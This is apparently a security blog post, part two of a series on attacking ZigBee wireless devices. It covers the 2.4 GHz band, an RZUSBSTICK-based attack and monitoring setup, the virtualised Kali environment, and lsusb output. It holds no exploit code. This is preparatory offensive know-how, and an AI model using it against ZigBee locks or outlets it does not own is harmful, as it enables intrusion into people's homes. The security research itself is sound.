Fun with Zigbee Wireless - Part II (Hardware)

$
0
0

By Tony Lee

Introduction

In our previous zigbee article, we covered ZigBee usage and history:

This time, let's explore some hardware.  Keep in mind though that this is just one possible hardware platform that can be used.  The hardware will also vary depending on the frequency you are targeting.  As mentioned in our previous article, these are the applicable ZigBee frequencies:
  • 2.4 GHz - Worldwide
  • 915 MHz - US/AUS
  • 868 MHz - Europe
  • 784 MHz – China

For the rest of this article, we will be targeting the 2.4 GHz frequency range—thus our hardware will reflect this decision.

The 2.4 GHz range along 802.11 overlap is shown below:


Figure 1: Source https://www.digi.com/wiki/developer/index.php/Channels,_Zigbee


Friendly reminder:  As always use this information responsibly.  Make sure you own the equipment prior to experimentation and learning.  We do not condone malicious intentions, are not held responsible for your actions, and will not bail you out of jail.

Hardware

Our test environment consists of an unnamed home automation system and a ZigBee power outlet.  This really could have been any ZigBee devices which range from thermostats to light bulbs to deadbolts.

The attack hardware consists of the following:


The only component used for actual attacks in the list above is the Atmel RZUSBSTICK.  We included two RZUSBSTICKs so we could launch the attack with one stick and monitor with the other.  The rest of the components below the first line item are used in the firmware flashing process.  Unfortunately much of the available software requires custom firmware—hence the AVR Dragon and other components.

The hardware list provided is the bare minimum to complete the activities outlined in this series, however there is one “nice to have” item that may save you a little frustration:  a USB extension/stand (one per RZUSBSTICK).  The reason for this is due to some instability with some of the software, thus there will be times where you will need to reseat the RZUSBSTICK.  Most of the time this can be done virtually via VMWare or Virtual box, however, there may be times when this must be done physically.  Since the RZUSBSTICKs are fragile, these stands will help prevent you from handling the PCB itself.  Instead you can disconnect the stand from the PC and have the same effect.  These stands run about $3.22 on Amazon and are well worth the price. 



Attack Environment

Both Ubuntu 14.04.3 and Kali Linux (version 1.1 and 2.0) detect the RZUSBSTICK and load the appropriate drivers.  Both virtualbox and VMWare were used to virtualize Ubuntu and Kali.  Out of all of the combinations, it appears that Kali 2.0 running on virtualbox was the most reliable environment.

Before:

root@kali:~# lsusb
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 002 Device 004: ID 0e0f:0008 VMware, Inc.
Bus 002 Device 003: ID 0e0f:0002 VMware, Inc. Virtual USB Hub
Bus 002 Device 002: ID 0e0f:0003 VMware, Inc. Virtual Mouse
Bus 002 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub


After:

root@kali:~# lsusb
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 002 Device 005: ID 03eb:210a Atmel Corp.
Bus 002 Device 004: ID 0e0f:0008 VMware, Inc.
Bus 002 Device 003: ID 0e0f:0002 VMware, Inc. Virtual USB Hub
Bus 002 Device 002: ID 0e0f:0003 VMware, Inc. Virtual Mouse
Bus 002 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub

    Conclusion


    This article outlined the hardware we will use to examine the 2.4 GHz ZigBee frequency range.  The next article will cover software options that are available to match the Atmel RZUSBSTICK.  Keep in mind this is just one possible hardware platform.  We would love to hear about experiences with other gear as well.  Feel free to leave comments in the section below.  

    Viewing all 91 articles
    Browse latest View live